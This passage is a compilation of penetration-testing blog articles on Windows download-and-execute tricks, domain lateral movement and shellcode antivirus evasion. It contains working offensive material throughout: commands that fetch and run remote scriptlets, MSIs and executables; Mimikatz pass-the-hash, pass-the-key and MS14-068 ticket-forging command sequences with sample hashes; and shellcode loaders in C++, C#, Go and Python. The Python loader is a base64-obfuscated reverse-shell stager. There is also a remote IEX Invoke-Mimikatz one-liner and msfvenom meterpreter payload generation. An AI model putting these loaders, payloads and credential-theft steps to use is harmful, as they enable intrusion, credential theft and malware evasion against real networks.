cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:<https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct>

13. Native Windows copy Command

The built-in copy and xcopy commands can copy files from remote SMB shares.

copy \\x.x.x.x\xx\poc.exe
xcopy d:\test.exe \\x.x.x.x\test.exe

14. IEXPLORE.EXE Command Download and Execution (Requires IE 0-day)

Internet Explorer can be launched from the command line to access a remote URL, potentially triggering a vulnerability.

"C:\Program Files\Internet Explorer\IEXPLORE.EXE" <http://site.com/exp>

15. IEExec Command Download and Execution

IEExec.exe, part of the .NET Framework, can execute managed code from remote locations.

C:\Windows\Microsoft.NET\Framework\v2.0.50727> caspol -s off
C:\Windows\Microsoft.NET\Framework\v2.0.50727> IEExec <http://site.com/files/test64.exe>

Reference: https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/

16. msiexec Command Download and Execution

The msiexec installer can execute MSI packages hosted on remote servers.

msiexec /q /i <http://site.com/payloads/calc.png>

17. GreatSCT Download and Execution Project

GreatSCT is a project that provides various techniques for bypassing application whitelisting and executing payloads.

Reference: https://github.com/GreatSCT

Domain Lateral Movement: PTH, PTK, and PTT Hash-Based Credential Transfer

Excalibra — Wed, 24 Jun 2026 11:09:24 +0000

Abstract: This article delineates the operational workflow of the Kerberos protocol within a domain environment, including the process by which a client obtains a Ticket-Granting Ticket (TGT) and its significance in intranet security. It critically examines three lateral movement techniques—Pass the Hash (PTH), Pass the Ticket (PTT), and Pass the Key (PTK)—and evaluates the ramifications of NTLM and LM Hash authentication on Windows systems. The discussion extends to the security patch KB2871997, designed to mitigate PTH attacks. Through case studies, the utilisation of the Mimikatz tool for credential extraction and injection is demonstrated, alongside an analysis of the MS14-068 vulnerability and the concepts of Golden and Silver Tickets. The practical application of the Ladon intranet penetration testing framework for information gathering and lateral movement is also considered.

The Kerberos Protocol Workflow

The Kerberos protocol operates within a domain context according to the following simplified procedure:

The client machine computes an NTLM hash of the user's plaintext password and encrypts it with a timestamp, utilising the krbtgt password hash as the key. This ciphertext is transmitted to the Key Distribution Centre (KDC), or domain controller. The KDC authenticates the user and subsequently generates a Ticket-Granting Ticket (TGT). The TGT's cryptographic signature is returned to the client; within the Kerberos framework, the TGT data can only be deciphered by the domain user krbtgt.
Subsequently, the client presents the TGT to the KDC to request a Ticket-Granting Service (TGS) ticket. The KDC validates the submitted TGT. Upon successful verification, it encrypts the target service account's NTLM hash and the TGT, returning the resultant ciphertext to the client.

The following definitions distinguish the three credential transfer techniques:

PTH (Pass the Hash): A penetration testing method conducted using the value of the LM or NTLM hash.
PTT (Pass the Ticket): A penetration test performed by utilising the TGT credentials.
PTK (Pass the Key): A penetration test executed using the ekeys AES256 hash (this key material can be obtained via the sekurlsa::ekeys command within Mimikatz).

On Authentication Hashes:
Windows operating systems utilise two primary hashing algorithms: LM Hash and NTLM Hash. For personal systems running Windows Vista or later, and server systems from Windows Server 2003 onwards, the standard authentication method is exclusively NTLM Hash.

A ticket may be conceptualised as analogous to a cookie deposited upon login to a website, or a persistent credential established between a computer and a remote entity. This ticket can subsequently be reused to re-establish a connection, functioning precisely like a session cookie. While PTH and PTK utilise identical connection protocols, PTT operates distinctly via the Kerberos protocol.

PTH Mechanism:
PTH constitutes a classic attack vector in intranet penetration. Its operational principle permits an attacker to remotely access a host or service by leveraging the LM Hash and NTLM Hash values, without necessitating the corresponding plaintext password. In essence, it suffices to acquire the encrypted hash value to mount an attack; the plaintext password is not required.

The attack landscape is nuanced. If NTLM authentication is disabled, the tool PsExec cannot establish a remote connection using the obtained NTLM hash; however, Mimikatz can still facilitate a successful attack. On specific operating systems—8.1/2012r2, and upon installation of Win 7/2008r2/8/2012 with patch KB2871997—AES keys may substitute for the NT hash to execute a PTK attack.

Summary: Impact of the KB2871997 Patch (systeminfo can verify patch installation)

PTH: On unpatched systems, any user can connect. Post-patch, only the built-in Administrator account connection is permitted.
PTK: The patch enables connections using the AES256 key for any user.
Refer to: Does KB2871997 truly defend against PTH attacks? - FreeBuf Cybersecurity Industry Portal

The Nature of PTT Attacks:
The PTT attack modality diverges from simple NTLM authentication. It is an attack leveraging the Kerberos protocol. Three prevalent attack methodologies are introduced here: the MS14-068 exploit, Golden Ticket, and Silver Ticket. Succinctly, these methods function by injecting a forged yet legitimate ticket into system memory to achieve a connection.

MS14-068 Vulnerability: An elevation of privilege vulnerability.
Golden Ticket & Silver Ticket: These are categorised as persistence and privilege maintenance techniques.
The MS14-068 vulnerability is hazardous because it enables any ordinary domain user to elevate their privileges to domain administrator. Microsoft's corrective patch is KB3011780.

Technique Summaries

Domain Lateral Movement via PTH Transfer - Mimikatz
Domain Lateral Movement via PTK Transfer - Mimikatz
Domain Lateral Movement via PTT Transfer - MS14-068 & Kekeo & Local Tickets
Domestic Ladon Intranet Penetration Framework Testing - Information Gathering, Connectivity, etc.

Case Study 1: Domain Lateral Movement via PTH Transfer - Mimikatz

This method, Pass the Hash, operates by discovering the password hash value (typically the NTLM hash) associated with an account. In a domain environment, where most computers are logged onto by domain users, a significant number of machines share an identical local administrator password set during installation. Consequently, if the local administrator credentials are uniform, an attacker can utilise a hash passing technique to log into other machines across the intranet. The critical advantage for the attacker is circumventing the computationally expensive and time-consuming process of cracking the password hash to reveal the plaintext.

Mimikatz serves as the instrumental tool for PTH, functioning not only as a credential harvester and plaintext password extractor but also as an attack platform.

PTH NTLM Transfer Commands:
For unpatched workgroup and domain connections:
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7 (Assuming knowledge of the domain controller hash)
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad458a5695dc997aa02d455c (workgroup designates a local user connection)
sekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad217334fe7

Target example: \OWA2010CN-God.god.org (Domain Controller)

Experimental Demonstration:
Execute the following sequence within an elevated PowerShell console on a 2008R2 x64 web server:

Command sequence:
privilege::debug
sekurlsa::logonPasswords (to extract plaintext passwords)
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7 (Mimikatz will spawn a new command prompt window upon execution)
In the newly spawned window, execute: dir \\192.168.3.21\c$ (if the IP address is not resolvable, substitute the target's hostname)

Case Study 2: Domain Lateral Movement via PTK Transfer - Mimikatz

This method utilises the AES256 key.

Commands for Patched Workgroup and Domain Connections:
sekurlsa::ekeys # retrieves the AES key material
sekurlsa::pth /user:mary /domain:god /aes256:d7c110753a2f7f240e5b2701dc1d16a16e40af3c5cdf814781c4b

Crucially, for a PTK attack to succeed for a non-administrator user, the target system must have the KB2871997 patch installed.

Case Study 3: Domain Lateral Movement via PTT Transfer - MS14-068 & Kekeo & Local Tickets

First Method: Exploiting the MS14-068 Vulnerability
This technique enables an ordinary domain user to directly obtain domain controller system privileges.

Procedure for MS14-068 via PowerShell:

Ascertain the current Security Identifier (SID): whoami /user
Credential Management: mimikatz # kerberos::purge // Purges all existing credentials on the current machine, as lingering domain member certificates can interfere with ticket forgery. mimikatz # kerberos::list // Inspect current machine certificates. mimikatz # kerberos::ptc <ticket_filename> // Inject a generated ticket into memory.
Generate TGT Data via MS14-068: ms14-068.exe -u <DomainMember>@<domain> -s <sid> -d <domain_controller_address> -p <domain_member_password> Example: MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-21573346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
Inject the Forged Ticket into Memory: mimikatz.exe "kerberos::ptc TGT_mary@god.org.ccache" exit
Verify Credential Cache: klist (Displays current connections; use klist purge to delete tickets).
Leverage the Access: dir \\192.168.3.21\c$ (or net use for connection; if IP fails, use the hostname).

The principle of this ticket passing attack lies in generating a syntactically correct connection request and importing it into memory via Mimikatz, thereby obviating the need for a password during the connection phase.

Second Method: Utilising the Kekeo Tool

Generate the Ticket: kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a5dc997aa02d45c"
Import the Ticket: kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
Verify Credential Cache: klist
Establish Connection: dir \\192.168.3.21\c$

Third Method: Exploiting Local Tickets (Requires Local Administrator Privileges)
This method essentially involves the harvesting and reuse of valid, pre-existing session cookies. The initial step is to use Mimikatz to export local tickets and subsequently import them into memory.

Command Sequence: sekurlsa::tickets /export kerberos::ptt xxxxxxxxx.xxx.kirbi (This action retrieves the previously stored "cookie" and tests its validity; credentials remain valid for a 10-hour window).

Summary: PTT delivery does not mandate local administrator privileges. Connections should be established using the hostname. The technique is predicated upon known vulnerabilities, dedicated tools, or the harvesting of locally cached tickets.

Case Study 4: The Ladon Intranet Penetration Framework - Testing and Validation

This section covers the practical application of Ladon for Information Gathering, Protocol Scanning, Vulnerability Probing, and Credential Passing Attacks.

Ladon functions as a large-scale intranet penetration scanner, often used in conjunction with Cobalt Strike. Ladon version 8.9 incorporates 120 built-in modules for tasks including information gathering, live host detection, port scanning, service identification, password spraying, vulnerability detection, and vulnerability exploitation. Vulnerability detection encompasses MS17-010 (EternalBlue), SMBGhost, WebLogic, ActiveMQ, Tomcat, and Struts2. Password spraying targets databases (MySQL, Oracle, MSSQL), remote access protocols (FTP, SSH for Linux, VNC), and Windows services (IPC, WMI, SMB, NetBIOS, LDAP, SmbHash, WmiHash, WinRM). Remote command execution supports multiple methods (smbexec, wmiexec, psexec, atexec, sshtexec) and exploitation frameworks (e.g., sshell, Webshell). Version X-4.0 and subsequent iterations are discussed.

Resources:
- Ladon Repository: https://github.com/k8gege/Ladon
- Kekeo Releases: https://github.com/gentilkiwi/kekeo/releases
- MS14-068 Exploit: https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

Rapid Identification of Domain Administrators and Domain Controllers in Internal Network Penetration Testing

Excalibra — Wed, 24 Jun 2026 09:13:56 +0000

In the process of internal network penetration testing, the ability to rapidly identify Domain Administrators and Domain Controllers is of paramount importance. Several commonly employed methods are introduced below.

Locating Domain Administrators

Command Line Identification

The following command can be executed in the command prompt to query domain administrator accounts:

net group "Domain Admins" /domain            //Query Domain Administrators

Figure 1: Output of the net group command listing Domain Administrators.

Tool-Based Identification

Several specialised tools can facilitate the enumeration of Domain Administrator accounts and their logged-on locations.

PSLoggedon.exe

This utility identifies users logged on to a system by examining the registry key HKEY_USERS and utilising the NetSessionEnum API. Note that certain functionalities of this tool require elevated, administrator-level privileges.

Download Link: https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon

Parameter	Description
`-`	Displays supported options and units of measurement for output values.
`-l`	Shows only local logons, excluding local and network resource logons.
`-x`	Does not display logon times.
`\computername`	Specifies the name of the computer for which logon information is to be listed.
`username`	Specifies a user name to search for across the network for machines where that user is logged on.

To locate a specific user, such as 'Administrator', the tool is invoked as follows:

PsLoggedon.exe Administrator

Figure 2: Enumeration results showing machines where the Administrator user has logged on.

To query a specific machine, the command is:

PsLoggedon.exe \AD-server

Figure 3: Output displaying users currently logged on to the machine AD-server.

PVefindaduser.exe

This tool is designed to ascertain the logon locations of Active Directory users, enumerate domain users, and identify users logged on to specific computers, including local users, those connected via RDP, and accounts used to run services and scheduled tasks. This tool also requires administrator privileges.

Download Link: https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn

Parameter	Description
`-h`	Displays help information.
`-u`	Checks if a newer version of the programme is available.
`-current ["username"]`	Displays the user currently logged on to each PC within the domain. If a username is specified in quotation marks, it only displays PCs where that particular user is logged on.
`-noping`	Prevents the tool from pinging target computers before attempting to enumerate user logons.
`-target`	An optional parameter for specifying a comma-separated list of hostnames to query. If omitted, all hosts in the current domain are queried. Results are output to a `report.csv` file.

Executing the command pvefinaduser.exe -current will display all users currently logged on to all machines within the domain.

Figure 4: Console output of PVefindaduser.exe showing current logon sessions across the domain

This operation generates a report.csv file on the target machine, which can be retrieved for subsequent analysis.

Figure 5: The contents of the generated report.csv file, detailing user logon locations.

PowerView.ps1

This PowerShell script is a component of the PowerSploit toolkit and serves as a robust instrument for gathering domain information. A suite of cmdlets is provided, including Get-NetUser, Get-NetDomainController, and Invoke-UserHunter, which specifically aids in identifying the computers to which domain users are logged on and whether they possess local administrator privileges.

Download Link: https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView

To locate Domain Administrators using PowerView, one may bypass the execution policy and invoke the script as demonstrated below:

powershell.exe -exec bypass -Command "& {Import-Module C:\Users\win7\Desktop\tool\PowerView.ps1; Invoke-UserEvenHunter}"

Figure 6: Output from the Invoke-UserEvenHunter function in PowerView, identifying logged-on domain users.

Locating Domain Controllers

Command Line Identification

A Domain Controller can be identified by querying the relevant domain group with the command:

net group "Domain controllers" /Domain        //View Domain Controllers

Figure 7: Results of the 'net group' command, showing the Domain Controller computer account.

Alternatively, the net time command can be utilised to reveal the Domain Controller serving the logon server role:

net time /do

Figure 8: Output showing the domain time, which implicitly reveals the Domain Controller's hostname.

DNS Record Enumeration

Should the local machine's configured DNS server be a domain-integrated DNS server, querying specific service location (SRV) records can identify Domain Controllers.

nslookup -type=all _ldap._tcp.dc._msdcs.tubai.com

Figure 9: Nslookup query results showing SRV records that point to Domain Controllers.

Port Probing

Domain Controllers typically expose a characteristic set of ports. Port 389 is the default port for the Lightweight Directory Access Protocol (LDAP), port 636 is for LDAP over SSL/TLS (LDAPS), and port 53 is the standard port for the Domain Name System (DNS) service. A targeted scan for hosts within the internal network range that have these specific ports open can reveal potential Domain Controllers.

A direct probe of the identified Domain Controller's IP address on these key ports confirms its role.

Figure 10: A port scan confirming that ports 53, 389, and 636 are open on a Domain Controller.

SPN Scanning

Service Principal Name (SPN) scanning is a stealthier alternative to conventional TCP or UDP port scanning, as it utilises standard Kerberos authentication requests. Most Windows installations include the native setspn.exe utility, which does not require administrative rights to perform queries.

The following command, executed from a domain-joined machine, can identify Domain Controllers by their registered SPNs:

setspn -T tubai.com -Q */*

Within the scan results, Domain Controllers can be distinguished by canonical names containing the string OU=Domain Controllers, such as CN=AD-SERVER,OU=Domain Controllers,DC=tubai,DC=com.

Figure 11: The output of an SPN scan, with the Domain Controller's service account highlighted.

Summary

Numerous methods exist for identifying Domain Administrators and Domain Controllers; the techniques described herein represent only the most frequently employed. During routine internal network penetration tests, it is a cardinal principle to prioritise techniques that generate minimal detectable activity.

A Summary of Shellcode Evasion Techniques

Excalibra — Wed, 24 Jun 2026 06:51:10 +0000

Shellcode Evasion Techniques: A Practical Guide

Introduction

I aim to elucidate shellcode evasion techniques in an accessible, straightforward manner, using plain language and practical examples. It is my hope that fellow penetration testers with a background in web application security will also be able to implement these evasion methods effectively.

In this article, I have categorised shellcode evasion techniques into two primary classifications: "Separation" and "Obfuscation". These techniques target distinct detection methodologies employed by security solutions, namely signature-based detection, behavioural analysis, and cloud-based heuristic scanning.

Please note that my expertise is limited; should any errors be identified, I welcome corrections and constructive feedback.

0x01 Shellcode "Separation" Evasion

Let us first examine the conventional C/C++ loading methods commonly utilised for shellcode execution.

Typical approaches include function pointer execution, inline assembly instructions, pseudo-instructions, and similar techniques.

Figure 1: Traditional shellcode loading example showing inline shellcode within the executable.

However, this approach—where the shellcode resides within the same executable file—renders the resulting binary highly susceptible to detection by antivirus solutions.

Figure 2: AV detection results for executables with embedded shellcode

Consequently, the prevailing philosophy behind separation-based evasion is to decouple the shellcode from the loader program itself.

Let us examine a common separation-based loading implementation using C++ as an illustrative example:

A typical implementation employs memory allocation functions such as VirtualAlloc to execute shellcode:

#include "stdafx.h"
#include "windows.h"

using namespace std;
int main(int argc, char **argv)
{
    unsigned char buf[] =
        "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
        "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
        // ... shellcode truncated for brevity ...
        "\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
    void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
    return 0;
}

Figure 3: Standard shellcode execution flow using VirtualAlloc

To achieve true separation, we can retrieve the shellcode from external sources rather than embedding it statically within the binary. This can be accomplished through various means, such as extracting shellcode from text files or downloading it from remote servers.

The following example demonstrates retrieving shellcode via an HTTP request using the WinHTTP API, storing it in a memory buffer, and subsequently allocating executable memory for execution:

#include "stdafx.h"
#include <string>
#include <iostream>
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib,"winhttp.lib")
#pragma comment(lib,"user32.lib")
using namespace std;
void main()
{
    DWORD dwSize = 0;
    DWORD dwDownloaded = 0;
    LPSTR pszOutBuffer = NULL;
    HINTERNET  hSession = NULL,
        hConnect = NULL,
        hRequest = NULL;
    BOOL  bResults = FALSE;
    hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (hSession)
    {
        hConnect = WinHttpConnect(hSession, L"127.0.0.1", INTERNET_DEFAULT_HTTP_PORT, 0);
    }

    if (hConnect)
    {
        hRequest = WinHttpOpenRequest(hConnect, L"POST", L"qing.txt", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
    }
    LPCWSTR header = L"Content-type: application/x-www-form-urlencoded/r/n";
    SIZE_T len = lstrlenW(header);
    WinHttpAddRequestHeaders(hRequest, header, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);
    if (hRequest)
    {
        std::string data = "name=host&sign=xx11sad";
        const void *ss = (const char *)data.c_str();
        bResults = WinHttpSendRequest(hRequest, 0, 0, const_cast<void *>(ss), data.length(), data.length(), 0);
    }
    if (bResults)
    {
        bResults = WinHttpReceiveResponse(hRequest, NULL);
    }
    if (bResults)
    {
        do
        {
            // Check for available data.
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
            {
                printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
                break;
            }

            if (!dwSize)
                break;

            pszOutBuffer = new char[dwSize + 1];

            if (!pszOutBuffer)
            {
                printf("Out of memory\n");
                break;
            }

            ZeroMemory(pszOutBuffer, dwSize + 1);

            if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
            {
                printf("Error %u in WinHttpReadData.\n", GetLastError());
            }
            else
            {
                printf("ok");
            }
            int code_length = strlen(pszOutBuffer);
            char* ShellCode = (char*)calloc(code_length  / 2 , sizeof(unsigned char));

            for (size_t count = 0; count < code_length / 2; count++){
                sscanf(pszOutBuffer, "%2hhx", &ShellCode[count]);
                pszOutBuffer += 2;
            }
            printf("%s", ShellCode);
            void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            memcpy(exec, ShellCode, sizeof ShellCode);
            ((void(*)())exec)();
            delete[] pszOutBuffer;
            if (!dwDownloaded)
                break;
        } while (dwSize > 0);
    }
    if (hRequest) WinHttpCloseHandle(hRequest);
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hSession) WinHttpCloseHandle(hSession);
    system("pause");
}

Figure 4: HTTP-based shellcode retrieval implementation

Examining the detection results: after removing the embedded shellcode, Antivirus no longer flags the executable.

Figure 5: Detection results after shellcode separation

Numerous similar remote-loading techniques exist, such as PowerShell in-memory loading—a method with which many practitioners are undoubtedly familiar.

For instance, PowerShell can be used to remotely load Mimikatz for credential extraction:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz >> c:\1.txt

Figure 6: PowerShell remote loading example

While many such techniques are widely used, certain in-memory loading methods are still intercepted by some antivirus solutions. We shall address this issue later in the article.

At this juncture, the underlying principle of language-based loaders should be self-evident. Nonetheless, I shall offer an explanation, drawing upon my colleague's analogy:

Shellcode is analogous to water; a loader serves as the vessel that contains it. Just as water must be poured into a cup before it can be consumed, shellcode must be loaded by a loader before it can be executed.

A) Loaders for Executing Shellcode

SSI (Shellcode String Injection):

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.142 LPORT=4444 -f c > msf.txt
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of c file: 1457 bytes
cat msf.txt|grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g"

fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c77260789e8ffd0b89001000029c454506829806b00ffd56a0a68c0a8ae84680200115c89e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8670000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d285868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c240f8570ffffffe99bffffff01c329c675c1c3bbf0b5a2566a0053ffd5

Figure 7: MSFVenom shellcode generation output

Figure 8: SSI loader execution example

Shellcode Launcher:

Figure 9: Shellcode Launcher tool interface

C# Loader:

using System;
using System.Runtime.InteropServices;
namespace TCPMeterpreterProcess
{
    class Program
    {
        static void Main(string[] args)
        {
            // native function's compiled code
            // generated with metasploit
            byte[] shellcode = new byte[333] {

            };
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
            MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            // prepare data
            IntPtr pinfo = IntPtr.Zero;
            // execute native code
            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            }
                    private static UInt32 MEM_COMMIT = 0x1000;
            private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
            [DllImport("kernel32")]
                    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
            [DllImport("kernel32")]
                    private static extern bool VirtualFree(IntPtr lpAddress,
            UInt32 dwSize, UInt32 dwFreeType);
            [DllImport("kernel32")]
                    private static extern IntPtr CreateThread(
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId
            );
            [DllImport("kernel32")]
                    private static extern bool CloseHandle(IntPtr handle);
            [DllImport("kernel32")]
                    private static extern UInt32 WaitForSingleObject(
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );
            [DllImport("kernel32")]
                    private static extern IntPtr GetModuleHandle(
            string moduleName
            );
            [DllImport("kernel32")]
                    private static extern UInt32 GetProcAddress(
            IntPtr hModule,
            string procName
            );
            [DllImport("kernel32")]
                    private static extern UInt32 LoadLibrary(
            string lpFileName
            );
            [DllImport("kernel32")]
                    private static extern UInt32 GetLastError();
      }
}

Python Loader:

import base64,sys;
import ctypes

whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
    ctypes.windll.user32.ShowWindow(whnd, 0)
    ctypes.windll.kernel32.CloseHandle(whnd)

exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4zMCcsODg4OCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))

Go with Inline C:

package main

import "C"
import "unsafe"

func main() {
    buf := ""
    buf += "xddxc6xd9x74x24xf4x5fx33xc9xb8xb3x5ex2c"
    ... // Additional shellcode bytes omitted
    buf += "xc9xb1x97x31x47x1ax03x47x1ax83xc7x04xe2"
    // at your call site, you can send the shellcode directly to the C
    // function by converting it to a pointer of the correct type.
    shellcode := []byte(buf)
    C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
}

Resource Loading: CPLResourceRunner

cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d '\n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt

Generate shellcode using Cobalt Strike:
Attacks -> Packages -> Windows Executable (s) -> Output => RAW (x86)

py -2 ConvertShellcode.py beacon.bin
Shellcode written to shellcode.txt

0x4d,0x5a,0x41,0x52,0x55,0x48,0x89,0xe5,0x48,0x81,0xec,0x20,0x00,0x00,0x00,0x48,0x8d,0x1d,0xea,0xff,0xff,0xff,0x48,0x89,0xdf,0x48,0x81,0xc3,0x7c,0x79,0x01,0x00,0xff,0xd3,0x41,0xb8,0xf0,0xb5,0xa2,0x56,0x68,0x04,0x00,0x00,0x00,0x5a,0x48,0x89,0xf9,0xff,0xd0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0x00,0x00,0x00,0x0e,0x1f,0xba,0x0e,0x00,0xb4,0x09,0xcd,0x21,0xb8,0x01,0x4c,0xcd,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63,0x61,0x6e,0x6e,0x6f,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20,0x44,0x4f,0x53,0x20,0x6d,0x6f,0x64,0x65,0x2e,0x0d,0x0a,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0xc9,0xdb,0x6e,0xe9,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0xeb,0x54,0xd2,0xba,0x15,0xba,0x00,0xba,0x13

cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d 'n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt

H4sIAPGjM14AA/ONcgwK9eh86tH4RoGBgcGjV/bV////PTrvezQerqlkZPh/2XHHh62LwjJYgLJR
Hp0//19ggIEfQMwnv4uPYQvnWcUdjD5nFUMyMosVCory04sScxWSE/Py8ksUklIVikrzFDLzFFz8
gxVy81NS9Xi5VKBGnLyd97J3F8MuGH4dcmmXKJAWBgD9vO6hmAAAAA==

Compile to x86 and copy CPLResourceRunner.dll to RunMe.cpl

PowerShell Loading (MMFml):

namespace mmfExeTwo
{
   using System;
   using System.IO.MemoryMappedFiles;
   using System.Runtime.InteropServices;

   class Program
   {

       private delegate IntPtr NewDelegate();

       // To handle the location by applying the appropriate type
       // We had to create a delegate to handle the the pointer to the location where we shim in the shellcode
       // into the Memory Mapped File.  This allows the location of the opp code to be referenced later for execution
       private unsafe static IntPtr GetShellMemAddr()
       {
           // 64bit shell code.  Tested on a win10 system.  Injects "cmd -k calc"
           // was generated vanilla using "msfvenom -p windows/exec CMD="cmd /k calc" EXITFUNC=thread C -f powershell"
           var shellcode = new byte[]
               {
                   0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
                   0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
                   0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
                   0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
                   0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
                   0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
                   0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
                   0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
                   0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
                   0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
                   0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
                   0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
                   0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
                   0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
